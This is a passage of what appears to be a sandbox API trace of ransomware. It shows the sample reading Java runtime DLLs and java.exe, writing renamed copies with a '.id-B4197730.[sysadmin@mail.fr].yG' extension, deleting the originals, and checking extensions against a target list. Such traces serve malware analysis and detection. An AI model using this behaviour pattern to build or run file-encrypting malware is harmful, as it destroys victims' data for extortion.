	[0182.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0182.001] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=1516608) returned 1
	[0182.001] CloseHandle (hObject=0x350) returned 1
	[0182.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20
	[0182.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.002] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0182.002] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.002] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.002] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0182.004] GetLastError () returned 0x0
	[0182.004] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0182.519] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0183.228] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x72450, lpOverlapped=0x0) returned 1
	[0183.598] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x72460, lpOverlapped=0x0) returned 1
	[0183.609] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.609] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0183.609] SetEndOfFile (hFile=0x35c) returned 1
	[0183.609] CloseHandle (hObject=0x35c) returned 1
	[0183.610] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.610] SetEndOfFile (hFile=0x350) returned 1
	[0183.968] CloseHandle (hObject=0x350) returned 1
	[0183.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.968] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1
	[0183.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.969] lstrlenW (lpString=".doc") returned 4
	[0183.969] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.969] lstrlenW (lpString=".docx") returned 5
	[0183.969] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0183.969] lstrlenW (lpString=".pdf") returned 4
	[0183.969] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.969] lstrlenW (lpString=".xls") returned 4
	[0183.969] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.969] lstrlenW (lpString=".xlsx") returned 5
	[0183.969] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0183.969] lstrlenW (lpString=".ppt") returned 4
	[0183.969] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.969] lstrlenW (lpString=".zip") returned 4
	[0183.969] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.969] lstrlenW (lpString=".rar") returned 4
	[0183.969] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.969] lstrlenW (lpString=".bz2") returned 4
	[0183.969] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.969] lstrlenW (lpString=".7z") returned 3
	[0183.969] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.969] lstrlenW (lpString=".dbf") returned 4
	[0183.969] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.969] lstrlenW (lpString=".1cd") returned 4
	[0183.970] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.970] lstrlenW (lpString=".jpg") returned 4
	[0183.970] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.970] lstrlenW (lpString=".doc") returned 4
	[0183.970] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.970] lstrlenW (lpString=".docx") returned 5
	[0183.970] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0183.970] lstrlenW (lpString=".pdf") returned 4
	[0183.970] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.970] lstrlenW (lpString=".xls") returned 4
	[0183.970] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.970] lstrlenW (lpString=".xlsx") returned 5
	[0183.970] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0183.970] lstrlenW (lpString=".ppt") returned 4
	[0183.970] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.970] lstrlenW (lpString=".zip") returned 4
	[0183.970] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.970] lstrlenW (lpString=".rar") returned 4
	[0183.971] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.971] lstrlenW (lpString=".bz2") returned 4
	[0183.971] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.971] lstrlenW (lpString=".7z") returned 3
	[0183.971] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.971] lstrlenW (lpString=".dbf") returned 4
	[0183.971] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.972] lstrlenW (lpString=".1cd") returned 4
	[0183.972] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0183.972] lstrlenW (lpString=".jpg") returned 4
	[0183.972] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.972] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0183.972] lstrlenW (lpString="hprof.dll") returned 9
	[0183.972] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0183.973] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=158272) returned 1
	[0183.973] CloseHandle (hObject=0x350) returned 1
	[0183.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20
	[0183.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.973] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0183.973] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.973] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.973] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0183.974] GetLastError () returned 0x0
	[0183.974] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x26a40, lpOverlapped=0x0) returned 1
	[0183.998] WriteFile (in: hFile=0x388, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x26a50, lpOverlapped=0x0) returned 1
	[0184.002] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.002] WriteFile (in: hFile=0x388, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0184.002] SetEndOfFile (hFile=0x388) returned 1
	[0184.003] CloseHandle (hObject=0x388) returned 1
	[0184.003] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.003] SetEndOfFile (hFile=0x350) returned 1
	[0184.004] CloseHandle (hObject=0x350) returned 1
	[0184.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.005] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1
	[0184.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.005] lstrlenW (lpString=".doc") returned 4
	[0184.005] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.005] lstrlenW (lpString=".docx") returned 5
	[0184.005] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1
	[0184.005] lstrlenW (lpString=".pdf") returned 4
	[0184.005] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.005] lstrlenW (lpString=".xls") returned 4
	[0184.005] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.005] lstrlenW (lpString=".xlsx") returned 5
	[0184.005] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1
	[0184.005] lstrlenW (lpString=".ppt") returned 4
	[0184.005] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.006] lstrlenW (lpString=".zip") returned 4
	[0184.006] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.006] lstrlenW (lpString=".rar") returned 4
	[0184.006] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.006] lstrlenW (lpString=".bz2") returned 4
	[0184.006] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.006] lstrlenW (lpString=".7z") returned 3
	[0184.006] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.006] lstrlenW (lpString=".dbf") returned 4
	[0184.006] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.006] lstrlenW (lpString=".1cd") returned 4
	[0184.006] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.006] lstrlenW (lpString=".jpg") returned 4
	[0184.006] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.006] lstrlenW (lpString=".doc") returned 4
	[0184.006] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.006] lstrlenW (lpString=".docx") returned 5
	[0184.006] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1
	[0184.006] lstrlenW (lpString=".pdf") returned 4
	[0184.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.006] lstrlenW (lpString=".xls") returned 4
	[0184.006] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.007] lstrlenW (lpString=".xlsx") returned 5
	[0184.007] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1
	[0184.007] lstrlenW (lpString=".ppt") returned 4
	[0184.007] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.007] lstrlenW (lpString=".zip") returned 4
	[0184.007] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.007] lstrlenW (lpString=".rar") returned 4
	[0184.007] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.007] lstrlenW (lpString=".bz2") returned 4
	[0184.007] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.007] lstrlenW (lpString=".7z") returned 3
	[0184.007] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.007] lstrlenW (lpString=".dbf") returned 4
	[0184.007] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.007] lstrlenW (lpString=".1cd") returned 4
	[0184.007] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0184.007] lstrlenW (lpString=".jpg") returned 4
	[0184.007] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.007] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0184.007] lstrlenW (lpString="instrument.dll") returned 14
	[0184.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0184.008] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=123456) returned 1
	[0184.008] CloseHandle (hObject=0x350) returned 1
	[0184.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20
	[0184.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0184.009] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.009] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0184.010] GetLastError () returned 0x0
	[0184.010] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x1e240, lpOverlapped=0x0) returned 1
	[0184.015] WriteFile (in: hFile=0x388, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x1e250, lpOverlapped=0x0) returned 1
	[0184.447] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.447] WriteFile (in: hFile=0x388, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0184.447] SetEndOfFile (hFile=0x388) returned 1
	[0184.447] CloseHandle (hObject=0x388) returned 1
	[0184.447] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.447] SetEndOfFile (hFile=0x350) returned 1
	[0184.449] CloseHandle (hObject=0x350) returned 1
	[0184.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.449] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1
	[0184.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.450] lstrlenW (lpString=".doc") returned 4
	[0184.450] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.450] lstrlenW (lpString=".docx") returned 5
	[0184.450] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0184.450] lstrlenW (lpString=".pdf") returned 4
	[0184.450] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.450] lstrlenW (lpString=".xls") returned 4
	[0184.450] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.450] lstrlenW (lpString=".xlsx") returned 5
	[0184.450] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0184.450] lstrlenW (lpString=".ppt") returned 4
	[0184.450] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.450] lstrlenW (lpString=".zip") returned 4
	[0184.450] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.451] lstrlenW (lpString=".rar") returned 4
	[0184.452] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.452] lstrlenW (lpString=".bz2") returned 4
	[0184.452] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.452] lstrlenW (lpString=".7z") returned 3
	[0184.452] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.452] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.452] lstrlenW (lpString=".dbf") returned 4
	[0184.452] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.452] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.452] lstrlenW (lpString=".1cd") returned 4
	[0184.452] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.452] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.452] lstrlenW (lpString=".jpg") returned 4
	[0184.452] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.452] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.452] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.452] lstrlenW (lpString=".doc") returned 4
	[0184.452] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.452] lstrlenW (lpString=".docx") returned 5
	[0184.452] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0184.452] lstrlenW (lpString=".pdf") returned 4
	[0184.452] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.452] lstrlenW (lpString=".xls") returned 4
	[0184.452] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.452] lstrlenW (lpString=".xlsx") returned 5
	[0184.452] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0184.453] lstrlenW (lpString=".ppt") returned 4
	[0184.453] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.453] lstrlenW (lpString=".zip") returned 4
	[0184.453] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.453] lstrlenW (lpString=".rar") returned 4
	[0184.453] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.453] lstrlenW (lpString=".bz2") returned 4
	[0184.453] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.453] lstrlenW (lpString=".7z") returned 3
	[0184.453] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.453] lstrlenW (lpString=".dbf") returned 4
	[0184.453] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.453] lstrlenW (lpString=".1cd") returned 4
	[0184.453] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0184.453] lstrlenW (lpString=".jpg") returned 4
	[0184.453] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.453] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0184.454] lstrlenW (lpString="java.exe") returned 8
	[0184.454] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0184.454] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=206912) returned 1
	[0184.454] CloseHandle (hObject=0x350) returned 1
	[0184.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20
	[0184.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
